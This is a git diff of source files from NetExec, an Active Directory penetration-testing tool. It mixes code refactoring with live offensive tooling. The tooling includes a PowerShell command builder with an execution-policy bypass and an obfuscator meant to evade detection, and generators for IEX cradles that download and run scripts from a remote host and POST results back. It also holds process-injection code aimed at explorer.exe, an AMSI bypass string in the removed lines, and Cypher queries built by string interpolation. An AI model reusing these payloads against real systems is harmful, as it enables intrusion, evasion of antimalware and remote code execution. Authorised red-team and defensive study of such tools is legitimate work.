# os.system('openssl req -new -x509 -keyout {path} -out {path} -days 365 -nodes -subj "/C=US" > /dev/null 2>&1'.format(path=CERT_PATH))
|
||||
# else:
|
||||
# os.system('openssl req -new -x509 -keyout {path} -out {path} -days 365 -nodes -subj "/C=US"'.format(path=CERT_PATH))
|
||||
# except OSError as e:
|
||||
# if e.errno == errno.ENOENT:
|
||||
# logger.error('OpenSSL command line utility is not installed, could not generate certificate, using default certificate')
|
||||
# default_path = path_join(DATA_PATH, 'default.pem')
|
||||
# shutil.copy(default_path, CERT_PATH)
|
||||
# else:
|
||||
# logger.error('Error while generating SSL certificate: {}'.format(e))
|
||||
# sys.exit(1)
|
||||
@@ -0,0 +1,10 @@
|
||||
from argparse import ArgumentDefaultsHelpFormatter, SUPPRESS, OPTIONAL, ZERO_OR_MORE
|
||||
|
||||
class DisplayDefaultsNotNone(ArgumentDefaultsHelpFormatter):
|
||||
def _get_help_string(self, action):
|
||||
help_string = action.help
|
||||
if "%(default)" not in action.help and action.default is not SUPPRESS:
|
||||
defaulting_nargs = [OPTIONAL, ZERO_OR_MORE]
|
||||
if (action.option_strings or action.nargs in defaulting_nargs) and action.default: # Only add default info if it's not None
|
||||
help_string += " (default: %(default)s)" # NORUFF
|
||||
return help_string
|
||||
+1
-3
@@ -1,9 +1,7 @@
|
||||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
import os
|
||||
from nxc.paths import DATA_PATH
|
||||
|
||||
|
||||
def get_script(path):
|
||||
with open(os.path.join(DATA_PATH, path), "r") as script:
|
||||
with open(os.path.join(DATA_PATH, path)) as script:
|
||||
return script.read()
|
||||
+78
-32
@@ -1,18 +1,32 @@
|
||||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
|
||||
|
||||
def add_user_bh(user, domain, logger, config):
|
||||
"""Adds a user to the BloodHound graph database.
|
||||
|
||||
Args:
|
||||
----
|
||||
user (str or list): The username of the user or a list of user dictionaries.
|
||||
domain (str): The domain of the user.
|
||||
logger (Logger): The logger object for logging messages.
|
||||
config (ConfigParser): The configuration object for accessing BloodHound settings.
|
||||
|
||||
Returns:
|
||||
-------
|
||||
None
|
||||
|
||||
Raises:
|
||||
------
|
||||
AuthError: If the provided Neo4J credentials are not valid.
|
||||
ServiceUnavailable: If Neo4J is not available on the specified URI.
|
||||
Exception: If an unexpected error occurs with Neo4J.
|
||||
"""
|
||||
users_owned = []
|
||||
if isinstance(user, str):
|
||||
users_owned.append({"username": user.upper(), "domain": domain.upper()})
|
||||
else:
|
||||
users_owned = user
|
||||
|
||||
if config.get("BloodHound", "bh_enabled") != "False":
|
||||
try:
|
||||
from neo4j.v1 import GraphDatabase
|
||||
except:
|
||||
from neo4j import GraphDatabase
|
||||
# we do a conditional import here to avoid loading these if BH isn't enabled
|
||||
from neo4j import GraphDatabase
|
||||
from neo4j.exceptions import AuthError, ServiceUnavailable
|
||||
|
||||
uri = f"bolt://{config.get('BloodHound', 'bh_uri')}:{config.get('BloodHound', 'bh_port')}"
|
||||
@@ -26,30 +40,62 @@ def add_user_bh(user, domain, logger, config):
|
||||
encrypted=False,
|
||||
)
|
||||
try:
|
||||
with driver.session() as session:
|
||||
with session.begin_transaction() as tx:
|
||||
for info in users_owned:
|
||||
if info["username"][-1] == "$":
|
||||
user_owned = info["username"][:-1] + "." + info["domain"]
|
||||
account_type = "Computer"
|
||||
else:
|
||||
user_owned = info["username"] + "@" + info["domain"]
|
||||
account_type = "User"
|
||||
|
||||
result = tx.run(f'MATCH (c:{account_type} {{name:"{user_owned}"}}) RETURN c')
|
||||
|
||||
if result.data()[0]["c"].get("owned") in (False, None):
|
||||
logger.debug(f'MATCH (c:{account_type} {{name:"{user_owned}"}}) SET c.owned=True RETURN c.name AS name')
|
||||
result = tx.run(f'MATCH (c:{account_type} {{name:"{user_owned}"}}) SET c.owned=True RETURN c.name AS name')
|
||||
logger.highlight(f"Node {user_owned} successfully set as owned in BloodHound")
|
||||
except AuthError as e:
|
||||
with driver.session().begin_transaction() as tx:
|
||||
for user_info in users_owned:
|
||||
distinguished_name = "".join([f"DC={dc}," for dc in user_info["domain"].split(".")]).rstrip(",")
|
||||
domain_query = tx.run(f"MATCH (d:Domain) WHERE d.distinguishedname STARTS WITH '{distinguished_name}' RETURN d").data()
|
||||
if not domain_query:
|
||||
logger.debug(f"Domain {user_info['domain']} not found in BloodHound. Falling back to domainless query.")
|
||||
_add_without_domain(user_info, tx, logger)
|
||||
else:
|
||||
domain = domain_query[0]["d"].get("name")
|
||||
_add_with_domain(user_info, domain, tx, logger)
|
||||
except AuthError:
|
||||
logger.fail(f"Provided Neo4J credentials ({config.get('BloodHound', 'bh_user')}:{config.get('BloodHound', 'bh_pass')}) are not valid.")
|
||||
return
|
||||
except ServiceUnavailable as e:
|
||||
except ServiceUnavailable:
|
||||
logger.fail(f"Neo4J does not seem to be available on {uri}.")
|
||||
return
|
||||
except Exception as e:
|
||||
logger.fail("Unexpected error with Neo4J")
|
||||
logger.fail("Account not found on the domain")
|
||||
return
|
||||
driver.close()
|
||||
logger.fail(f"Unexpected error with Neo4J: {e}")
|
||||
finally:
|
||||
driver.close()
|
||||
|
||||
|
||||
def _add_with_domain(user_info, domain, tx, logger):
|
||||
if user_info["username"][-1] == "$":
|
||||
user_owned = f"{user_info['username'][:-1]}.{domain}"
|
||||
account_type = "Computer"
|
||||
else:
|
||||
user_owned = f"{user_info['username']}@{domain}"
|
||||
account_type = "User"
|
||||
|
||||
result = tx.run(f"MATCH (c:{account_type} {{name:'{user_owned}'}}) RETURN c").data()
|
||||
|
||||
if len(result) == 0:
|
||||
logger.fail("Account not found in the BloodHound database.")
|
||||
return
|
||||
if result[0]["c"].get("owned") in (False, None):
|
||||
logger.debug(f"MATCH (c:{account_type} {{name:'{user_owned}'}}) SET c.owned=True RETURN c.name AS name")
|
||||
result = tx.run(f"MATCH (c:{account_type} {{name:'{user_owned}'}}) SET c.owned=True RETURN c.name AS name").data()[0]
|
||||
logger.highlight(f"Node {result['name']} successfully set as owned in BloodHound")
|
||||
|
||||
|
||||
def _add_without_domain(user_info, tx, logger):
|
||||
if user_info["username"][-1] == "$":
|
||||
user_owned = user_info["username"][:-1]
|
||||
account_type = "Computer"
|
||||
else:
|
||||
user_owned = user_info["username"]
|
||||
account_type = "User"
|
||||
|
||||
result = tx.run(f"MATCH (c:{account_type}) WHERE c.name STARTS WITH '{user_owned}' RETURN c").data()
|
||||
|
||||
if len(result) == 0:
|
||||
logger.fail("Account not found in the BloodHound database.")
|
||||
return
|
||||
elif len(result) >= 2:
|
||||
logger.fail(f"Multiple accounts found with the name '{user_info['username']}' in the BloodHound database. Please specify the FQDN ex:domain.local")
|
||||
return
|
||||
elif result[0]["c"].get("owned") in (False, None):
|
||||
logger.debug(f"MATCH (c:{account_type} {{name:'{result[0]['c']['name']}'}}) SET c.owned=True RETURN c.name AS name")
|
||||
result = tx.run(f"MATCH (c:{account_type} {{name:'{result[0]['c']['name']}'}}) SET c.owned=True RETURN c.name AS name").data()[0]
|
||||
logger.highlight(f"Node {result['name']} successfully set as owned in BloodHound")
|
||||
@@ -1,6 +1,3 @@
|
||||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
|
||||
import random
|
||||
|
||||
|
||||
|
||||
@@ -1,6 +1,3 @@
|
||||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
|
||||
import os
|
||||
from termcolor import colored
|
||||
|
||||
|
||||
+9
-18
@@ -1,6 +1,3 @@
|
||||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
|
||||
import random
|
||||
import string
|
||||
import re
|
||||
@@ -9,7 +6,7 @@ import os
|
||||
|
||||
|
||||
def identify_target_file(target_file):
|
||||
with open(target_file, "r") as target_file_handle:
|
||||
with open(target_file) as target_file_handle:
|
||||
for i, line in enumerate(target_file_handle):
|
||||
if i == 1:
|
||||
if line.startswith("<NessusClientData"):
|
||||
@@ -26,10 +23,7 @@ def gen_random_string(length=10):
|
||||
|
||||
def validate_ntlm(data):
|
||||
allowed = re.compile("^[0-9a-f]{32}", re.IGNORECASE)
|
||||
if allowed.match(data):
|
||||
return True
|
||||
else:
|
||||
return False
|
||||
return bool(allowed.match(data))
|
||||
|
||||
|
||||
def called_from_cmd_args():
|
||||
@@ -45,12 +39,10 @@ def called_from_cmd_args():
|
||||
|
||||
# Stolen from https://github.com/pydanny/whichcraft/
|
||||
def which(cmd, mode=os.F_OK | os.X_OK, path=None):
|
||||
"""Given a command, mode, and a PATH string, return the path which
|
||||
conforms to the given mode on the PATH, or None if there is no such
|
||||
file.
|
||||
`mode` defaults to os.F_OK | os.X_OK. `path` defaults to the result
|
||||
of os.environ.get("PATH"), or can be overridden with a custom search
|
||||
path.
|
||||
"""Find the path which conforms to the given mode on the PATH for a command.
|
||||
|
||||
Given a command, mode, and a PATH string, return the path which conforms to the given mode on the PATH, or None if there is no such file.
|
||||
`mode` defaults to os.F_OK | os.X_OK. `path` defaults to the result of os.environ.get("PATH"), or can be overridden with a custom search path.
|
||||
Note: This function was backported from the Python 3 source code.
|
||||
"""
|
||||
|
||||
@@ -77,12 +69,11 @@ def which(cmd, mode=os.F_OK | os.X_OK, path=None):
|
||||
files = [cmd]
|
||||
|
||||
seen = set()
|
||||
for dir in path:
|
||||
normdir = os.path.normcase(dir)
|
||||
for p in path:
|
||||
normdir = os.path.normcase(p)
|
||||
if normdir not in seen:
|
||||
seen.add(normdir)
|
||||
for thefile in files:
|
||||
name = os.path.join(dir, thefile)
|
||||
name = os.path.join(p, thefile)
|
||||
if _access_check(name, mode):
|
||||
return name
|
||||
return None
|
||||
@@ -12,7 +12,8 @@ Authors:
|
||||
Guillaume DAUMAS (@BlWasp_)
|
||||
Lucien DOUSTALY (@Wlayzz)
|
||||
|
||||
References:
|
||||
References
|
||||
----------
|
||||
MS-ADA1, MS-ADA2, MS-ADA3 Active Directory Schema Attributes and their GUID:
|
||||
- [MS-ADA1] https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-ada1/19528560-f41e-4623-a406-dabcfff0660f
|
||||
- [MS-ADA2] https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-ada2/e20ebc4e-5285-40ba-b3bd-ffcb81c2783e
|
||||
@@ -22,6 +23,7 @@ References:
|
||||
|
||||
|
||||
This library is, for the moment, not present in the Impacket version used by NetExec, so I add it manually in helpers.
|
||||
|
||||
"""
|
||||
|
||||
SCHEMA_OBJECTS = {
|
||||
|
||||
@@ -0,0 +1,34 @@
|
||||
# Original from here: https://github.com/fortra/impacket/blob/master/examples/DumpNTLMInfo.py#L568
|
||||
|
||||
import struct
|
||||
|
||||
from impacket import ntlm
|
||||
from impacket.smb3 import WIN_VERSIONS
|
||||
import contextlib
|
||||
|
||||
|
||||
def parse_challenge(challange):
|
||||
target_info = {
|
||||
"hostname": None,
|
||||
"domain": None,
|
||||
"os_version": None
|
||||
}
|
||||
challange = ntlm.NTLMAuthChallenge(challange)
|
||||
av_pairs = ntlm.AV_PAIRS(challange["TargetInfoFields"][:challange["TargetInfoFields_len"]])
|
||||
if av_pairs[ntlm.NTLMSSP_AV_HOSTNAME] is not None:
|
||||
with contextlib.suppress(Exception):
|
||||
target_info["hostname"] = av_pairs[ntlm.NTLMSSP_AV_HOSTNAME][1].decode("utf-16le")
|
||||
if av_pairs[ntlm.NTLMSSP_AV_DNS_DOMAINNAME] is not None:
|
||||
with contextlib.suppress(Exception):
|
||||
target_info["domain"] = av_pairs[ntlm.NTLMSSP_AV_DNS_DOMAINNAME][1].decode("utf-16le")
|
||||
if "Version" in challange.fields:
|
||||
version = challange["Version"]
|
||||
if len(version) >= 4:
|
||||
major_version = version[0]
|
||||
minor_version = version[1]
|
||||
product_build = struct.unpack("<H", version[2:4])[0]
|
||||
if product_build in WIN_VERSIONS:
|
||||
target_info["os_version"] = f"{WIN_VERSIONS[product_build]} Build {product_build}"
|
||||
else:
|
||||
target_info["os_version"] = f"{major_version}.{minor_version} Build {product_build}"
|
||||
return target_info
|
||||
+171
-175
@@ -1,5 +1,3 @@
|
||||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
import os
|
||||
import re
|
||||
from sys import exit
|
||||
@@ -8,35 +6,94 @@ from random import choice, sample
|
||||
from subprocess import call
|
||||
from nxc.helpers.misc import which
|
||||
from nxc.logger import nxc_logger
|
||||
from nxc.paths import nxc_PATH, DATA_PATH
|
||||
from nxc.paths import NXC_PATH, DATA_PATH
|
||||
from base64 import b64encode
|
||||
import random
|
||||
|
||||
obfuscate_ps_scripts = False
|
||||
|
||||
def replace_singles(s):
|
||||
"""Replaces single quotes with a double quote
|
||||
We do this because quoting is very important in PowerShell, and we are doing multiple layers:
|
||||
Python, MSSQL, and PowerShell. We want to make sure that the command is properly quoted at each layer.
|
||||
|
||||
Args:
|
||||
----
|
||||
s (str): The string to replace single quotes in.
|
||||
|
||||
Returns:
|
||||
-------
|
||||
str: Original string with single quotes replaced with double.
|
||||
"""
|
||||
return s.replace("'", r"\"")
|
||||
|
||||
def get_ps_script(path):
|
||||
"""Generates a full path to a PowerShell script given a relative path.
|
||||
|
||||
Parameters
|
||||
----------
|
||||
path (str): The relative path to the PowerShell script.
|
||||
|
||||
Returns
|
||||
-------
|
||||
str: The full path to the PowerShell script.
|
||||
"""
|
||||
return os.path.join(DATA_PATH, path)
|
||||
|
||||
|
||||
def encode_ps_command(command):
|
||||
"""
|
||||
Encodes a PowerShell command into a base64-encoded string.
|
||||
|
||||
Args:
|
||||
----
|
||||
command (str): The PowerShell command to encode.
|
||||
|
||||
Returns:
|
||||
-------
|
||||
str: The base64-encoded string representation of the encoded command.
|
||||
"""
|
||||
return b64encode(command.encode("UTF-16LE")).decode()
|
||||
|
||||
|
||||
def is_powershell_installed():
|
||||
"""
|
||||
Check if PowerShell is installed.
|
||||
|
||||
Returns
|
||||
-------
|
||||
bool: True if PowerShell is installed, False otherwise.
|
||||
"""
|
||||
if which("powershell"):
|
||||
return True
|
||||
return False
|
||||
|
||||
|
||||
def obfs_ps_script(path_to_script):
|
||||
"""
|
||||
Obfuscates a PowerShell script.
|
||||
|
||||
Args:
|
||||
----
|
||||
path_to_script (str): The path to the PowerShell script.
|
||||
|
||||
Returns:
|
||||
-------
|
||||
str: The obfuscated PowerShell script.
|
||||
|
||||
Raises:
|
||||
------
|
||||
FileNotFoundError: If the script file does not exist.
|
||||
OSError: If there is an error during obfuscation.
|
||||
"""
|
||||
ps_script = path_to_script.split("/")[-1]
|
||||
obfs_script_dir = os.path.join(nxc_PATH, "obfuscated_scripts")
|
||||
obfs_script_dir = os.path.join(NXC_PATH, "obfuscated_scripts")
|
||||
obfs_ps_script = os.path.join(obfs_script_dir, ps_script)
|
||||
|
||||
if is_powershell_installed() and obfuscate_ps_scripts:
|
||||
if os.path.exists(obfs_ps_script):
|
||||
nxc_logger.display("Using cached obfuscated Powershell script")
|
||||
with open(obfs_ps_script, "r") as script:
|
||||
with open(obfs_ps_script) as script:
|
||||
return script.read()
|
||||
|
||||
nxc_logger.display("Performing one-time script obfuscation, go look at some memes cause this can take a bit...")
|
||||
@@ -45,15 +102,15 @@ def obfs_ps_script(path_to_script):
|
||||
nxc_logger.debug(invoke_obfs_command)
|
||||
|
||||
with open(os.devnull, "w") as devnull:
|
||||
return_code = call(invoke_obfs_command, stdout=devnull, stderr=devnull, shell=True)
|
||||
call(invoke_obfs_command, stdout=devnull, stderr=devnull, shell=True)
|
||||
|
||||
nxc_logger.success("Script obfuscated successfully")
|
||||
|
||||
with open(obfs_ps_script, "r") as script:
|
||||
with open(obfs_ps_script) as script:
|
||||
return script.read()
|
||||
|
||||
else:
|
||||
with open(get_ps_script(path_to_script), "r") as script:
|
||||
with open(get_ps_script(path_to_script)) as script:
|
||||
"""
|
||||
Strip block comments, line comments, empty lines, verbose statements,
|
||||
and debug statements from a PowerShell source file.
|
||||
@@ -61,111 +118,88 @@ def obfs_ps_script(path_to_script):
|
||||
# strip block comments
|
||||
stripped_code = re.sub(re.compile("<#.*?#>", re.DOTALL), "", script.read())
|
||||
# strip blank lines, lines starting with #, and verbose/debug statements
|
||||
stripped_code = "\n".join([line for line in stripped_code.split("\n") if ((line.strip() != "") and (not line.strip().startswith("#")) and (not line.strip().lower().startswith("write-verbose ")) and (not line.strip().lower().startswith("write-debug ")))])
|
||||
|
||||
return stripped_code
|
||||
return "\n".join([line for line in stripped_code.split("\n") if ((line.strip() != "") and (not line.strip().startswith("#")) and (not line.strip().lower().startswith("write-verbose ")) and (not line.strip().lower().startswith("write-debug ")))])
|
||||
|
||||
|
||||
def create_ps_command(ps_command, force_ps32=False, dont_obfs=False, custom_amsi=None):
|
||||
|
||||
def create_ps_command(ps_command, force_ps32=False, obfs=False, custom_amsi=None, encode=True):
|
||||
"""
|
||||
Generates a PowerShell command based on the provided `ps_command` parameter.
|
||||
|
||||
Args:
|
||||
----
|
||||
ps_command (str): The PowerShell command to be executed.
|
||||
force_ps32 (bool, optional): Whether to force PowerShell to run in 32-bit mode. Defaults to False.
|
||||
obfs (bool, optional): Whether to obfuscate the generated command. Defaults to False.
|
||||
custom_amsi (str, optional): Path to a custom AMSI bypass script. Defaults to None.
|
||||
encode (bool, optional): Whether to encode the generated command (executed via -enc in PS). Defaults to True.
|
||||
|
||||
Returns:
|
||||
-------
|
||||
str: The generated PowerShell command.
|
||||
"""
|
||||
nxc_logger.debug(f"Creating PS command parameters: {ps_command=}, {force_ps32=}, {obfs=}, {custom_amsi=}, {encode=}")
|
||||
|
||||
if custom_amsi:
|
||||
nxc_logger.debug(f"Using custom AMSI bypass script: {custom_amsi}")
|
||||
with open(custom_amsi) as file_in:
|
||||
lines = []
|
||||
for line in file_in:
|
||||
lines.append(line)
|
||||
lines = list(file_in)
|
||||
amsi_bypass = "".join(lines)
|
||||
else:
|
||||
amsi_bypass = """[Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}
|
||||
try{
|
||||
[Ref].Assembly.GetType('Sys'+'tem.Man'+'agement.Aut'+'omation.Am'+'siUt'+'ils').GetField('am'+'siIni'+'tFailed', 'NonP'+'ublic,Sta'+'tic').SetValue($null, $true)
|
||||
}catch{}
|
||||
"""
|
||||
|
||||
if force_ps32:
|
||||
command = (
|
||||
amsi_bypass
|
||||
+ """
|
||||
$functions = {{
|
||||
function Command-ToExecute
|
||||
{{
|
||||
{command}
|
||||
}}
|
||||
}}
|
||||
if ($Env:PROCESSOR_ARCHITECTURE -eq 'AMD64')
|
||||
{{
|
||||
$job = Start-Job -InitializationScript $functions -ScriptBlock {{Command-ToExecute}} -RunAs32
|
||||
$job | Wait-Job
|
||||
}}
|
||||
else
|
||||
{{
|
||||
IEX "$functions"
|
||||
Command-ToExecute
|
||||
}}
|
||||
""".format(
|
||||
command=amsi_bypass + ps_command
|
||||
)
|
||||
)
|
||||
amsi_bypass = ""
|
||||
|
||||
# for readability purposes, we do not do a one-liner
|
||||
if force_ps32: # noqa: SIM108
|
||||
# https://stackoverflow.com/a/60155248
|
||||
command = amsi_bypass + f"$functions = {{function Command-ToExecute{{{amsi_bypass + ps_command}}}}}; if ($Env:PROCESSOR_ARCHITECTURE -eq 'AMD64'){{$job = Start-Job -InitializationScript $functions -ScriptBlock {{Command-ToExecute}} -RunAs32; $job | Wait-Job | Receive-Job }} else {{IEX '$functions'; Command-ToExecute}}"
|
||||
else:
|
||||
command = amsi_bypass + ps_command
|
||||
|
||||
nxc_logger.debug("Generated PS command:\n {}\n".format(command))
|
||||
|
||||
# We could obfuscate the initial launcher using Invoke-Obfuscation but because this function gets executed
|
||||
# concurrently it would spawn a local powershell process per host which isn't ideal, until I figure out a good way
|
||||
# of dealing with this it will use the partial python implementation that I stole from GreatSCT
|
||||
# (https://github.com/GreatSCT/GreatSCT) <3
|
||||
|
||||
"""
|
||||
if is_powershell_installed():
|
||||
|
||||
temp = tempfile.NamedTemporaryFile(prefix='nxc_',
|
||||
suffix='.ps1',
|
||||
dir='/tmp')
|
||||
temp.write(command)
|
||||
temp.read()
|
||||
|
||||
encoding_types = [1,2,3,4,5,6]
|
||||
while True:
|
||||
encoding = random.choice(encoding_types)
|
||||
invoke_obfs_command = 'powershell -C \'Import-Module {};Invoke-Obfuscation -ScriptPath {} -Command "ENCODING,{}" -Quiet\''.format(get_ps_script('invoke-obfuscation/Invoke-Obfuscation.psd1'),
|
||||
temp.name,
|
||||
encoding)
|
||||
nxc_logger.debug(invoke_obfs_command)
|
||||
out = check_output(invoke_obfs_command, shell=True).split('\n')[4].strip()
|
||||
|
||||
command = 'powershell.exe -exec bypass -noni -nop -w 1 -C "{}"'.format(out)
|
||||
nxc_logger.debug('Command length: {}'.format(len(command)))
|
||||
|
||||
if len(command) <= 8192:
|
||||
temp.close()
|
||||
break
|
||||
|
||||
encoding_types.remove(encoding)
|
||||
command = f"{amsi_bypass} {ps_command}"
|
||||
|
||||
else:
|
||||
"""
|
||||
if not dont_obfs:
|
||||
nxc_logger.debug(f"Generated PS command:\n {command}\n")
|
||||
|
||||
if obfs:
|
||||
nxc_logger.debug("Obfuscating PowerShell command")
|
||||
obfs_attempts = 0
|
||||
while True:
|
||||
command = f'powershell.exe -exec bypass -noni -nop -w 1 -C "{invoke_obfuscation(command)}"'
|
||||
nxc_logger.debug(f"Obfuscation attempt: {obfs_attempts + 1}")
|
||||
obfs_command = invoke_obfuscation(command)
|
||||
|
||||
command = f'powershell.exe -exec bypass -noni -nop -w 1 -C "{replace_singles(obfs_command)}"'
|
||||
if len(command) <= 8191:
|
||||
break
|
||||
|
||||
if obfs_attempts == 4:
|
||||
nxc_logger.error(f"Command exceeds maximum length of 8191 chars (was {len(command)}). exiting.")
|
||||
exit(1)
|
||||
|
||||
nxc_logger.debug(f"Obfuscation length too long with {len(command)}, trying again...")
|
||||
obfs_attempts += 1
|
||||
else:
|
||||
command = f"powershell.exe -noni -nop -w 1 -enc {encode_ps_command(command)}"
|
||||
# if we arent encoding or obfuscating anything, we quote the entire powershell in double quotes, otherwise the final powershell command will syntax error
|
||||
command = f"-enc {encode_ps_command(command)}" if encode else f'"{command}"'
|
||||
command = f"powershell.exe -noni -nop -w 1 {command}"
|
||||
|
||||
if len(command) > 8191:
|
||||
nxc_logger.error(f"Command exceeds maximum length of 8191 chars (was {len(command)}). exiting.")
|
||||
exit(1)
|
||||
|
||||
|
||||
nxc_logger.debug(f"Final command: {command}")
|
||||
return command
|
||||
|
||||
|
||||
def gen_ps_inject(command, context=None, procname="explorer.exe", inject_once=False):
|
||||
"""
|
||||
Generates a PowerShell code block for injecting a command into a specified process.
|
||||
|
||||
Args:
|
||||
----
|
||||
command (str): The command to be injected.
|
||||
context (str, optional): The context in which the code block will be injected. Defaults to None.
|
||||
procname (str, optional): The name of the process into which the command will be injected. Defaults to "explorer.exe".
|
||||
inject_once (bool, optional): Specifies whether the command should be injected only once. Defaults to False.
|
||||
|
||||
Returns:
|
||||
-------
|
||||
str: The generated PowerShell code block.
|
||||
"""
|
||||
# The following code gives us some control over where and how Invoke-PSInject does its thang
|
||||
# It prioritizes injecting into a process of the active console session
|
||||
ps_code = """
|
||||
@@ -207,8 +241,22 @@ if (($injected -eq $False) -or ($inject_once -eq $False)){{
|
||||
return ps_code
|
||||
|
||||
|
||||
def gen_ps_iex_cradle(context, scripts, command=str(), post_back=True):
|
||||
if type(scripts) is str:
|
||||
def gen_ps_iex_cradle(context, scripts, command="", post_back=True):
|
||||
"""
|
||||
Generates a PowerShell IEX cradle script for executing one or more scripts.
|
||||
|
||||
Args:
|
||||
----
|
||||
context (Context): The context object containing server and port information.
|
||||
scripts (str or list): The script(s) to be executed.
|
||||
command (str, optional): A command to be executed after the scripts are executed. Defaults to an empty string.
|
||||
post_back (bool, optional): Whether to send a POST request with the command. Defaults to True.
|
||||
|
||||
Returns:
|
||||
-------
|
||||
str: The generated PowerShell IEX cradle script.
|
||||
"""
|
||||
if isinstance(scripts, str):
|
||||
launcher = """
|
||||
[Net.ServicePointManager]::ServerCertificateValidationCallback = {{$true}}
|
||||
[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]'Ssl3,Tls,Tls11,Tls12'
|
||||
@@ -222,23 +270,18 @@ IEX (New-Object Net.WebClient).DownloadString('{server}://{addr}:{port}/{ps_scri
|
||||
command=command if post_back is False else "",
|
||||
).strip()
|
||||
|
||||
elif type(scripts) is list:
|
||||
elif isinstance(scripts, list):
|
||||
launcher = "[Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}\n"
|
||||
launcher += "[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]'Ssl3,Tls,Tls11,Tls12'"
|
||||
for script in scripts:
|
||||
launcher += "IEX (New-Object Net.WebClient).DownloadString('{server}://{addr}:{port}/{script}')\n".format(
|
||||
server=context.server,
|
||||
port=context.server_port,
|
||||
addr=context.localip,
|
||||
script=script,
|
||||
)
|
||||
launcher += f"IEX (New-Object Net.WebClient).DownloadString('{context.server}://{context.localip}:{context.server_port}/{script}')\n"
|
||||
launcher.strip()
|
||||
launcher += command if post_back is False else ""
|
||||
|
||||
if post_back is True:
|
||||
launcher += """
|
||||
launcher += f"""
|
||||
$cmd = {command}
|
||||
$request = [System.Net.WebRequest]::Create('{server}://{addr}:{port}/')
|
||||
$request = [System.Net.WebRequest]::Create('{context.server}://{context.localip}:{context.server_port}/')
|
||||
$request.Method = 'POST'
|
||||
$request.ContentType = 'application/x-www-form-urlencoded'
|
||||
$bytes = [System.Text.Encoding]::ASCII.GetBytes($cmd)
|
||||
@@ -246,12 +289,7 @@ $request.ContentLength = $bytes.Length
|
||||
$requestStream = $request.GetRequestStream()
|
||||
$requestStream.Write($bytes, 0, $bytes.Length)
|
||||
$requestStream.Close()
|
||||
$request.GetResponse()""".format(
|
||||
server=context.server,
|
||||
port=context.server_port,
|
||||
addr=context.localip,
|
||||
command=command,
|
||||
)
|
||||
$request.GetResponse()"""
|
||||
|
||||
nxc_logger.debug(f"Generated PS IEX Launcher:\n {launcher}\n")
|
||||
|
||||
@@ -260,30 +298,20 @@ $request.GetResponse()""".format(
|
||||
|
||||
# Following was stolen from https://raw.githubusercontent.com/GreatSCT/GreatSCT/templates/invokeObfuscation.py
|
||||
def invoke_obfuscation(script_string):
|
||||
# Add letters a-z with random case to $RandomDelimiters.
|
||||
alphabet = "".join(choice([i.upper(), i]) for i in ascii_lowercase)
|
||||
"""
|
||||
Obfuscates a script string and generates an obfuscated payload for execution.
|
||||
|
||||
# Create list of random delimiters called random_delimiters.
|
||||
# Avoid using . * ' " [ ] ( ) etc. as delimiters as these will cause problems in the -Split command syntax.
|
||||
random_delimiters = [
|
||||
"_",
|
||||
"-",
|
||||
",",
|
||||
"{",
|
||||
"}",
|
||||
"~",
|
||||
"!",
|
||||
"@",
|
||||
"%",
|
||||
"&",
|
||||
"<",
|
||||
">",
|
||||
";",
|
||||
":",
|
||||
]
|
||||
Args:
|
||||
----
|
||||
script_string (str): The script string to obfuscate.
|
||||
|
||||
for i in alphabet:
|
||||
random_delimiters.append(i)
|
||||
Returns:
|
||||
-------
|
||||
str: The obfuscated payload for execution.
|
||||
"""
|
||||
nxc_logger.debug(f"Command before obfuscation: {script_string}")
|
||||
random_alphabet = "".join(random.choice([i.upper(), i]) for i in ascii_lowercase)
|
||||
random_delimiters = ["_", "-", ",", "{", "}", "~", "!", "@", "%", "&", "<", ">", ";", ":", *list(random_alphabet)]
|
||||
|
||||
# Only use a subset of current delimiters to randomize what you see in every iteration of this script's output.
|
||||
random_delimiters = [choice(random_delimiters) for _ in range(int(len(random_delimiters) / 4))]
|
||||
@@ -356,7 +384,7 @@ def invoke_obfuscation(script_string):
|
||||
set_ofs_var_back = "".join(choice([i.upper(), i.lower()]) for i in set_ofs_var_back)
|
||||
|
||||
# Generate the code that will decrypt and execute the payload and randomly select one.
|
||||
baseScriptArray = [
|
||||
base_script_array = [
|
||||
"[" + char_str + "[]" + "]" + choice(["", " "]) + encoded_array,
|
||||
"(" + choice(["", " "]) + "'" + delimited_encoded_array + "'." + split + "(" + choice(["", " "]) + "'" + random_delimiters_to_print + "'" + choice(["", " "]) + ")" + choice(["", " "]) + "|" + choice(["", " "]) + for_each_object + choice(["", " "]) + "{" + choice(["", " "]) + "(" + choice(["", " "]) + random_conversion_syntax + ")" + choice(["", " "]) + "}" + choice(["", " "]) + ")",
|
||||
"(" + choice(["", " "]) + "'" + delimited_encoded_array + "'" + choice(["", " "]) + random_delimiters_to_print_for_dash_split + choice(["", " "]) + "|" + choice(["", " "]) + for_each_object + choice(["", " "]) + "{" + choice(["", " "]) + "(" + choice(["", " "]) + random_conversion_syntax + ")" + choice(["", " "]) + "}" + choice(["", " "]) + ")",
|
||||
@@ -364,14 +392,14 @@ def invoke_obfuscation(script_string):
|
||||
]
|
||||
# Generate random JOIN syntax for all above options
|
||||
new_script_array = [
|
||||
choice(baseScriptArray) + choice(["", " "]) + join + choice(["", " "]) + "''",
|
||||
join + choice(["", " "]) + choice(baseScriptArray),
|
||||
str_join + "(" + choice(["", " "]) + "''" + choice(["", " "]) + "," + choice(["", " "]) + choice(baseScriptArray) + choice(["", " "]) + ")",
|
||||
'"' + choice(["", " "]) + "$(" + choice(["", " "]) + set_ofs_var + choice(["", " "]) + ")" + choice(["", " "]) + '"' + choice(["", " "]) + "+" + choice(["", " "]) + str_str + choice(baseScriptArray) + choice(["", " "]) + "+" + '"' + choice(["", " "]) + "$(" + choice(["", " "]) + set_ofs_var_back + choice(["", " "]) + ")" + choice(["", " "]) + '"',
|
||||
choice(base_script_array) + choice(["", " "]) + join + choice(["", " "]) + "''",
|
||||
